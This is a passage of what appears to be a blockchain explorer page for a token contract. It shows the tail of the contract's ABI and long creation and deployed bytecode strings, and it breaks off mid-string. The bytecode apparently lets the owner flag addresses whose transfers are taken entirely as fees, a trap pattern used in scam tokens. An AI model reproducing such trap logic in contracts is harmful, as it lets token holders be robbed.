nternalType":"bool","name":"status","type":"bool"}],"name":"setboAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdoYouLikeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setinTheMTFFace","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"smallOrEqual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapAndLiquifyBySmallOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526003805461ff0019166101001790556ddead000000000000000000000000608052601980546201000160a81b62ffffff60a81b199091161790553480156200004b57600080fd5b506040518060400160405280600681526020016521b0b9b832b960d11b8152506040518060400160405280600681526020016521b0b9b832b960d11b815250655af3107a40006040518060600160405280600281526020016002815260200160008152506040518060600160405280600281526020016002815260200160008152506040518060600160405280600281526020016002815260200160008152506040518060400160405280731869b061f03ec25c22de5abd82a18f4beb3c53f96001600160a01b03166001600160a01b03168152602001731869b061f03ec25c22de5abd82a18f4beb3c53f96001600160a01b03166001600160a01b0316815250731869b061f03ec25c22de5abd82a18f4beb3c53f9600062000173620005db60201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508751620001d29060019060208b01906200064e565b508651620001e89060029060208a01906200064e565b506003805460ff191660099081179091556200020690600a62000783565b6200021290876200084f565b6016558451600a819055602080870151600b819055604080890151600c8190558851600d5588840151600e5588820151600f558751601055878401516011559087015160125562000288939092620002749290620013d5620005df821b17901c565b620005df60201b620013d51790919060201c565b601381905550620002b3600f5462000274600e54600d54620005df60201b620013d51790919060201c565b601481905550620002de60125462000274601154601054620005df60201b620013d51790919060201c565b601555600160175581516003805462010000600160b01b031916620100006001600160a01b039384160217905560208084015160048054919093166001600160a01b03199091161782556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d93849363c45a01559380830193919290829003018186803b1580156200037257600080fd5b505afa15801562000387573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ad9190620006f4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003f657600080fd5b505afa1580156200040b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004319190620006f4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200047a57600080fd5b505af11580156200048f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b59190620006f4565b601980546001600160a01b039283166001600160a01b031991821617909155601880549284169290911682179055601654306000908152600660209081526040808320948352939052918220556001906007906200051b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055868216808252600785528382208054871660019081179091553083528483208054881682179055601954909316825260088552838220805490961690921790945560165481855260058452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050505050620008c4565b3390565b600080620005ee83856200071f565b905083811015620006455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b8280546200065c9062000871565b90600052602060002090601f016020900481019282620006805760008555620006cb565b82601f106200069b57805160ff1916838001178555620006cb565b82800160010185558215620006cb579182015b82811115620006cb578251825591602001919060010190620006ae565b50620006d9929150620006dd565b5090565b5b80821115620006d95760008155600101620006de565b6000602082840312156200070757600080fd5b81516001600160a01b03811681146200064557600080fd5b60008219821115620007355762000735620008ae565b500190565b600181815b808511156200077b5781600019048211156200075f576200075f620008ae565b808516156200076d57918102915b93841c93908002906200073f565b509250929050565b60006200079460ff8416836200079b565b9392505050565b600082620007ac5750600162000648565b81620007bb5750600062000648565b8160018114620007d45760028114620007df57620007ff565b600191505062000648565b60ff841115620007f357620007f3620008ae565b50506001821b62000648565b5060208310610133831016604e8410600b841016171562000824575081810a62000648565b6200083083836200073a565b8060001904821115620008475762000847620008ae565b029392505050565b60008160001904831182151516156200086c576200086c620008ae565b500290565b600181811c908216806200088657607f821691505b60208210811415620008a857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c6126fa620008ea6000396000818161047e0152610bb201526126fa6000f3fe60806040526004361061036f5760003560e01c806388790a68116101c6578063c49b9a80116100f7578063dd62ed3e11610095578063ea7a6eb11161006f578063ea7a6eb114610a26578063f0cd1dac14610a46578063f2fde38b14610a5c578063f61ffad614610a7c57600080fd5b8063dd62ed3e14610987578063e0cde6c3146109cd578063e2f2a68614610a0657600080fd5b8063c8607952116100d1578063c860795214610924578063cab034711461093a578063d9419b7314610950578063dc44b6a01461097157600080fd5b8063c49b9a80146108ce578063c5d24189146108ee578063c816841b1461090457600080fd5b8063a457c2d711610164578063a911928c1161013e578063a911928c14610858578063b841257014610878578063c2d4640e14610898578063c469b6dd146108b857600080fd5b8063a457c2d714610802578063a83f53a714610822578063a9059cbb1461083857600080fd5b8063948071d9116101a0578063948071d9146107a257806395d89b41146107c2578063a073d37f146107d7578063a08e671f146107ec57600080fd5b806388790a68146107595780638da5cb5b1461076f578063914eb66a1461078d57600080fd5b806342e0369d116102a057806361a23c691161023e5780636ebb9cf5116102185780636ebb9cf5146106cd57806370a08231146106ed57806382eefb4314610723578063844d591c1461073957600080fd5b806361a23c6914610677578063632e54421461068d578063689b30c3146106ad57600080fd5b80635342acb41161027a5780635342acb4146105f057806357a5802f146106205780635b702a5514610636578063614d19b81461065657600080fd5b806342e0369d1461058f5780634a74bb02146105af57806350b20cac146105d057600080fd5b80632b112e491161030d5780633b97084a116102e75780633b97084a146104f75780633e07387c146105195780633e4e1728146105395780633ecad2711461055f57600080fd5b80632b112e49146104a0578063313ce567146104b557806339509351146104d757600080fd5b806318160ddd1161034957806318160ddd1461040e57806323b872dd1461042d57806323eb6e721461044d57806327c8f8351461046c57600080fd5b806306fdde031461037b578063095ea7b3146103a65780631694505e146103d657600080fd5b3661037657005b600080fd5b34801561038757600080fd5b50610390610a9c565b60405161039d9190612451565b60405180910390f35b3480156103b257600080fd5b506103c66103c1366004612291565b610b2e565b604051901515815260200161039d565b3480156103e257600080fd5b506018546103f6906001600160a01b031681565b6040516001600160a01b03909116815260200161039d565b34801561041a57600080fd5b506016545b60405190815260200161039d565b34801561043957600080fd5b506103c661044836600461221b565b610b45565b34801561045957600080fd5b506003546103c690610100900460ff1681565b34801561047857600080fd5b506103f67f000000000000000000000000000000000000000000000000000000000000000081565b3480156104ac57600080fd5b5061041f610bb0565b3480156104c157600080fd5b5060035460405160ff909116815260200161039d565b3480156104e357600080fd5b506103c66104f2366004612291565b610bfa565b34801561050357600080fd5b50610517610512366004612378565b610c30565b005b34801561052557600080fd5b5061051761053436600461235d565b610c68565b34801561054557600080fd5b506003546103f6906201000090046001600160a01b031681565b34801561056b57600080fd5b506103c661057a3660046121a8565b60086020526000908152604090205460ff1681565b34801561059b57600080fd5b506105176105aa3660046122bd565b610cb0565b3480156105bb57600080fd5b506019546103c690600160a81b900460ff1681565b3480156105dc57600080fd5b506105176105eb3660046122bd565b610d5c565b3480156105fc57600080fd5b506103c661060b3660046121a8565b60076020526000908152604090205460ff1681565b34801561062c57600080fd5b5061041f60105481565b34801561064257600080fd5b506105176106513660046123b3565b610e02565b34801561066257600080fd5b506019546103c690600160b81b900460ff1681565b34801561068357600080fd5b5061041f60115481565b34801561069957600080fd5b506105176106a8366004612311565b610e57565b3480156106b957600080fd5b506105176106c83660046121a8565b610f10565b3480156106d957600080fd5b506105176106e83660046123b3565b610f64565b3480156106f957600080fd5b5061041f6107083660046121a8565b6001600160a01b031660009081526005602052604090205490565b34801561072f57600080fd5b5061041f60145481565b34801561074557600080fd5b5061051761075436600461225c565b610fb3565b34801561076557600080fd5b5061041f600d5481565b34801561077b57600080fd5b506000546001600160a01b03166103f6565b34801561079957600080fd5b50610517611008565b3480156107ae57600080fd5b506105176107bd36600461225c565b611082565b3480156107ce57600080fd5b506103906110d7565b3480156107e357600080fd5b5060175461041f565b3480156107f857600080fd5b5061041f60155481565b34801561080e57600080fd5b506103c661081d366004612291565b6110e6565b34801561082e57600080fd5b5061041f60125481565b34801561084457600080fd5b506103c6610853366004612291565b611135565b34801561086457600080fd5b506103c6610873366004612391565b101590565b34801561088457600080fd5b5061051761089336600461235d565b611142565b3480156108a457600080fd5b506105176108b33660046123b3565b611186565b3480156108c457600080fd5b5061041f600c5481565b3480156108da57600080fd5b506105176108e936600461235d565b6111d5565b3480156108fa57600080fd5b5061041f600b5481565b34801561091057600080fd5b506019546103f6906001600160a01b031681565b34801561093057600080fd5b5061041f600e5481565b34801561094657600080fd5b5061041f600f5481565b34801561095c57600080fd5b506019546103c690600160b01b900460ff1681565b34801561097d57600080fd5b5061041f600a5481565b34801561099357600080fd5b5061041f6109a23660046121e2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156109d957600080fd5b506103c66109e83660046121a8565b6001600160a01b031660009081526009602052604090205460ff1690565b348015610a1257600080fd5b50610517610a2136600461225c565b61124a565b348015610a3257600080fd5b506004546103f6906001600160a01b031681565b348015610a5257600080fd5b5061041f60135481565b348015610a6857600080fd5b50610517610a773660046121a8565b61129f565b348015610a8857600080fd5b50610517610a973660046121a8565b611389565b606060018054610aab906125a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad7906125a8565b8015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050505050905090565b6000610b3b338484611434565b5060015b92915050565b6000610b52848484611558565b50610ba58433610ba085604051806060016040528060288152602001612658602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906118d6565b611434565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260056020526040812054601654610bf591611910565b905090565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610b3b918590610ba090866113d5565b6000546001600160a01b03163314610c635760405162461bcd60e51b8152600401610c5a906124a6565b60405180910390fd5b601755565b6000546001600160a01b03163314610c925760405162461bcd60e51b8152600401610c5a906124a6565b60198054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610cda5760405162461bcd60e51b8152600401610c5a906124a6565b60c98210610ce757600080fd5b60005b82811015610d56578160096000868685818110610d0957610d09612629565b9050602002016020810190610d1e91906121a8565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610d4f81612603565b9050610cea565b50505050565b6000546001600160a01b03163314610d865760405162461bcd60e51b8152600401610c5a906124a6565b60c98210610d9357600080fd5b60005b82811015610d56578160076000868685818110610db557610db5612629565b9050602002016020810190610dca91906121a8565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610dfb81612603565b9050610d96565b6000546001600160a01b03163314610e2c5760405162461bcd60e51b8152600401610c5a906124a6565b600a839055600b829055600c819055610e4f81610e4985856113d5565b906113d5565b601355505050565b6000546001600160a01b03163314610e815760405162461bcd60e51b8152600401610c5a906124a6565b6107d18210610e8f57600080fd5b6000610e9b8383612572565b33600090815260056020526040902054909150811115610eba57600080fd5b60005b83811015610f0957610ef633868684818110610edb57610edb612629565b9050602002016020810190610ef091906121a8565b85611952565b5080610f0181612603565b915050610ebd565b5050505050565b6000546001600160a01b03163314610f3a5760405162461bcd60e51b8152600401610c5a906124a6565b600380546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b6000546001600160a01b03163314610f8e5760405162461bcd60e51b8152600401610c5a906124a6565b600d839055600e829055600f819055610fab81610e4985856113d5565b601455505050565b6000546001600160a01b03163314610fdd5760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110325760405162461bcd60e51b8152600401610c5a906124a6565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146110ac5760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b606060028054610aab906125a8565b6000610b3b3384610ba0856040518060600160405280602581526020016126a0602591393360009081526006602090815260408083206001600160a01b038d16845290915290205491906118d6565b6000610ba5338484611558565b6000546001600160a01b0316331461116c5760405162461bcd60e51b8152600401610c5a906124a6565b600380549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146111b05760405162461bcd60e51b8152600401610c5a906124a6565b6010839055601182905560128190556111cd81610e4985856113d5565b601555505050565b6003546201000090046001600160a01b031633146111f257600080fd5b60198054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061123f90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146112745760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112c95760405162461bcd60e51b8152600401610c5a906124a6565b6001600160a01b03811661132e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c5a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113b35760405162461bcd60e51b8152600401610c5a906124a6565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000806113e28385612538565b905083811015610ba95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c5a565b6001600160a01b0383166114965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c5a565b6001600160a01b0382166114f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c5a565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166115be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c5a565b6001600160a01b0383166116205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c5a565b601954600160a01b900460ff16156116445761163d848484611952565b9050610ba9565b6001600160a01b03841660009081526007602052604090205460ff1615801561168657506001600160a01b03831660009081526007602052604090205460ff16155b156116fb576000805b600181136116eb5760408051602081018390529081018590524260608201526080016040516020818303038152906040528051906020012060001c91506116d886836064611952565b50806116e3816125e3565b91505061168f565b506116f760c884612591565b9250505b30600090815260056020526040902054601754811080159081906117295750601954600160a01b900460ff16155b801561174e57506001600160a01b03861660009081526008602052604090205460ff16155b80156117635750601954600160a81b900460ff165b1561178957601954600160b01b900460ff16156117805760175491505b61178982611a26565b6117938686611b62565b15611804576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600590915291909120546117ea9186906118d6565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526007602052604081205460ff168061184357506001600160a01b03861660009081526007602052604090205460ff165b1561184f57508361185d565b61185a878787611ba7565b90505b6001600160a01b03861660009081526005602052604090205461188090826113d5565b6001600160a01b038088166000818152600560205260409081902093909355915190891690600080516020612680833981519152906118c29085815260200190565b60405180910390a360019350505050610ba9565b600081848411156118fa5760405162461bcd60e51b8152600401610c5a9190612451565b5060006119078486612591565b95945050505050565b6000610ba983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d6565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526005909152918220546119a39184906118d6565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546119d290836113d5565b6001600160a01b03808516600081815260056020526040908190209390935591519086169060008051602061268083398151915290611a149086815260200190565b60405180910390a35060019392505050565b6019805460ff60a01b1916600160a01b179055601554601054600091611a5c91600291611a569182908790611dbb565b90611e3a565b90506000611a6a8383611910565b9050611a7581611e7c565b6010544790600090611a9590611a8c906002611e3a565b60155490611910565b90506000611ab76002611a5684611a5660105488611dbb90919063ffffffff16565b90506000611ad483611a5660125487611dbb90919063ffffffff16565b90506000611aec82611ae68786611910565b90611910565b90508015611b1057600354611b10906201000090046001600160a01b03168261201e565b8115611b2c57600454611b2c906001600160a01b03168361201e565b600083118015611b3c5750600087115b15611b4b57611b4b8784612059565b50506019805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610ba957506003546001600160a01b038481166201000090920416141580610ba9575060009392505050565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611bed57611be66064611a5660135487611dbb90919063ffffffff16565b9150611c4e565b6001600160a01b03851660009081526008602052604090205460ff1615611c4e57611c286064611a5660145487611dbb90919063ffffffff16565b600354909250610100900460ff1615611c4e57611c4b6064611a56866001611dbb565b90505b6001600160a01b03861660009081526009602052604090205460ff168015611c8f57506001600160a01b03861660009081526008602052604090205460ff16155b15611c98578391505b8015611d3b5761dead60005260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54611cd590826113d5565b61dead600081905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b0388169060008051602061268083398151915290611d329085815260200190565b60405180910390a35b8115611da35730600090815260056020526040902054611d5b90836113d5565b30600081815260056020526040908190209290925590516001600160a01b0388169060008051602061268083398151915290611d9a9086815260200190565b60405180910390a35b611db181611ae68685611910565b9695505050505050565b600082611dca57506000610b3f565b6000611dd68385612572565b905082611de38583612550565b14610ba95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c5a565b6000610ba983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612119565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611eb157611eb1612629565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611f0557600080fd5b505afa158015611f19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3d91906121c5565b81600181518110611f5057611f50612629565b6001600160a01b039283166020918202929092010152601854611f769130911684611434565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611faf9085906000908690309042906004016124fc565b600060405180830381600087803b158015611fc957600080fd5b505af1158015611fdd573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120129291906124db565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612054573d6000803e3d6000fd5b505050565b6018546120719030906001600160a01b031684611434565b6018546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c4016060604051808303818588803b1580156120e057600080fd5b505af11580156120f4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0991906123df565b6000818361213a5760405162461bcd60e51b8152600401610c5a9190612451565b5060006119078486612550565b60008083601f84011261215957600080fd5b50813567ffffffffffffffff81111561217157600080fd5b6020830191508360208260051b850101111561218c57600080fd5b9250929050565b803580151581146121a357600080fd5b919050565b6000602082840312156121ba57600080fd5b8135610ba98161263f565b6000602082840312156121d757600080fd5b8151610ba98161263f565b600080604083850312156121f557600080fd5b82356122008161263f565b915060208301356122108161263f565b809150509250929050565b60008060006060848603121561223057600080fd5b833561223b8161263f565b9250602084013561224b8161263f565b929592945050506040919091013590565b6000806040838503121561226f57600080fd5b823561227a8161263f565b915061228860208401612193565b90509250929050565b600080604083850312156122a457600080fd5b82356122af8161263f565b946020939093013593505050565b6000806000604084860312156122d257600080fd5b833567ffffffffffffffff8111156122e957600080fd5b6122f586828701612147565b9094509250612308905060208501612193565b90509250925092565b60008060006040848603121561232657600080fd5b833567ffffffffffffffff81111561233d57600080fd5b61234986828701612147565b909790965060209590950135949350505050565b60006020828403121561236f57600080fd5b610ba982612193565b60006020828403121561238a57600080fd5b5035919050565b600080604083850312156123a457600080fd5b50508035926020909101359150565b6000806000606084860312156123c857600080fd5b505081359360208301359350604090920135919050565b6000806000606084860312156123f457600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156124465781516001600160a01b031687529582019590820190600101612421565b509495945050505050565b600060208083528351808285015260005b8181101561247e57858101830151858201604001528201612462565b81811115612490576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8281526040602082015260006124f4604083018461240d565b949350505050565b85815284602082015260a06040820152600061251b60a083018661240d565b6001600160a01b0394909416606083015250608001529392505050565b6000821982111561254b5761254b612613565b500190565b60008261256d57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561258c5761258c612613565b500290565b6000828210156125a3576125a3612613565b500390565b600181811c908216806125bc57607f821691505b602082108114156125dd57634e487b7160e01b600052602260045260246000fd5b50919050565b60006001600160ff1b038214156125fc576125fc612613565b5060010190565b60006000198214156125fc576125fc5b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461265457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201116ec48a09606564d25fde279196003f6751253cb19462fa8a2ab06887728b964736f6c63430008070033

Deployed Bytecode

0x60806040526004361061036f5760003560e01c806388790a68116101c6578063c49b9a80116100f7578063dd62ed3e11610095578063ea7a6eb11161006f578063ea7a6eb114610a26578063f0cd1dac14610a46578063f2fde38b14610a5c578063f61ffad614610a7c57600080fd5b8063dd62ed3e14610987578063e0cde6c3146109cd578063e2f2a68614610a0657600080fd5b8063c8607952116100d1578063c860795214610924578063cab034711461093a578063d9419b7314610950578063dc44b6a01461097157600080fd5b8063c49b9a80146108ce578063c5d24189146108ee578063c816841b1461090457600080fd5b8063a457c2d711610164578063a911928c1161013e578063a911928c14610858578063b841257014610878578063c2d4640e14610898578063c469b6dd146108b857600080fd5b8063a457c2d714610802578063a83f53a714610822578063a9059cbb1461083857600080fd5b8063948071d9116101a0578063948071d9146107a257806395d89b41146107c2578063a073d37f146107d7578063a08e671f146107ec57600080fd5b806388790a68146107595780638da5cb5b1461076f578063914eb66a1461078d57600080fd5b806342e0369d116102a057806361a23c691161023e5780636ebb9cf5116102185780636ebb9cf5146106cd57806370a08231146106ed57806382eefb4314610723578063844d591c1461073957600080fd5b806361a23c6914610677578063632e54421461068d578063689b30c3146106ad57600080fd5b80635342acb41161027a5780635342acb4146105f057806357a5802f146106205780635b702a5514610636578063614d19b81461065657600080fd5b806342e0369d1461058f5780634a74bb02146105af57806350b20cac146105d057600080fd5b80632b112e491161030d5780633b97084a116102e75780633b97084a146104f75780633e07387c146105195780633e4e1728146105395780633ecad2711461055f57600080fd5b80632b112e49146104a0578063313ce567146104b557806339509351146104d757600080fd5b806318160ddd1161034957806318160ddd1461040e57806323b872dd1461042d57806323eb6e721461044d57806327c8f8351461046c57600080fd5b806306fdde031461037b578063095ea7b3146103a65780631694505e146103d657600080fd5b3661037657005b600080fd5b34801561038757600080fd5b50610390610a9c565b60405161039d9190612451565b60405180910390f35b3480156103b257600080fd5b506103c66103c1366004612291565b610b2e565b604051901515815260200161039d565b3480156103e257600080fd5b506018546103f6906001600160a01b031681565b6040516001600160a01b03909116815260200161039d565b34801561041a57600080fd5b506016545b60405190815260200161039d565b34801561043957600080fd5b506103c661044836600461221b565b610b45565b34801561045957600080fd5b506003546103c690610100900460ff1681565b34801561047857600080fd5b506103f67f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104ac57600080fd5b5061041f610bb0565b3480156104c157600080fd5b5060035460405160ff909116815260200161039d565b3480156104e357600080fd5b506103c66104f2366004612291565b610bfa565b34801561050357600080fd5b50610517610512366004612378565b610c30565b005b34801561052557600080fd5b5061051761053436600461235d565b610c68565b34801561054557600080fd5b506003546103f6906201000090046001600160a01b031681565b34801561056b57600080fd5b506103c661057a3660046121a8565b60086020526000908152604090205460ff1681565b34801561059b57600080fd5b506105176105aa3660046122bd565b610cb0565b3480156105bb57600080fd5b506019546103c690600160a81b900460ff1681565b3480156105dc57600080fd5b506105176105eb3660046122bd565b610d5c565b3480156105fc57600080fd5b506103c661060b3660046121a8565b60076020526000908152604090205460ff1681565b34801561062c57600080fd5b5061041f60105481565b34801561064257600080fd5b506105176106513660046123b3565b610e02565b34801561066257600080fd5b506019546103c690600160b81b900460ff1681565b34801561068357600080fd5b5061041f60115481565b34801561069957600080fd5b506105176106a8366004612311565b610e57565b3480156106b957600080fd5b506105176106c83660046121a8565b610f10565b3480156106d957600080fd5b506105176106e83660046123b3565b610f64565b3480156106f957600080fd5b5061041f6107083660046121a8565b6001600160a01b031660009081526005602052604090205490565b34801561072f57600080fd5b5061041f60145481565b34801561074557600080fd5b5061051761075436600461225c565b610fb3565b34801561076557600080fd5b5061041f600d5481565b34801561077b57600080fd5b506000546001600160a01b03166103f6565b34801561079957600080fd5b50610517611008565b3480156107ae57600080fd5b506105176107bd36600461225c565b611082565b3480156107ce57600080fd5b506103906110d7565b3480156107e357600080fd5b5060175461041f565b3480156107f857600080fd5b5061041f60155481565b34801561080e57600080fd5b506103c661081d366004612291565b6110e6565b34801561082e57600080fd5b5061041f60125481565b34801561084457600080fd5b506103c6610853366004612291565b611135565b34801561086457600080fd5b506103c6610873366004612391565b101590565b34801561088457600080fd5b5061051761089336600461235d565b611142565b3480156108a457600080fd5b506105176108b33660046123b3565b611186565b3480156108c457600080fd5b5061041f600c5481565b3480156108da57600080fd5b506105176108e936600461235d565b6111d5565b3480156108fa57600080fd5b5061041f600b5481565b34801561091057600080fd5b506019546103f6906001600160a01b031681565b34801561093057600080fd5b5061041f600e5481565b34801561094657600080fd5b5061041f600f5481565b34801561095c57600080fd5b506019546103c690600160b01b900460ff1681565b34801561097d57600080fd5b5061041f600a5481565b34801561099357600080fd5b5061041f6109a23660046121e2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156109d957600080fd5b506103c66109e83660046121a8565b6001600160a01b031660009081526009602052604090205460ff1690565b348015610a1257600080fd5b50610517610a2136600461225c565b61124a565b348015610a3257600080fd5b506004546103f6906001600160a01b031681565b348015610a5257600080fd5b5061041f60135481565b348015610a6857600080fd5b50610517610a773660046121a8565b61129f565b348015610a8857600080fd5b50610517610a973660046121a8565b611389565b606060018054610aab906125a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad7906125a8565b8015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050505050905090565b6000610b3b338484611434565b5060015b92915050565b6000610b52848484611558565b50610ba58433610ba085604051806060016040528060288152602001612658602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906118d6565b611434565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260056020526040812054601654610bf591611910565b905090565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610b3b918590610ba090866113d5565b6000546001600160a01b03163314610c635760405162461bcd60e51b8152600401610c5a906124a6565b60405180910390fd5b601755565b6000546001600160a01b03163314610c925760405162461bcd60e51b8152600401610c5a906124a6565b60198054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610cda576040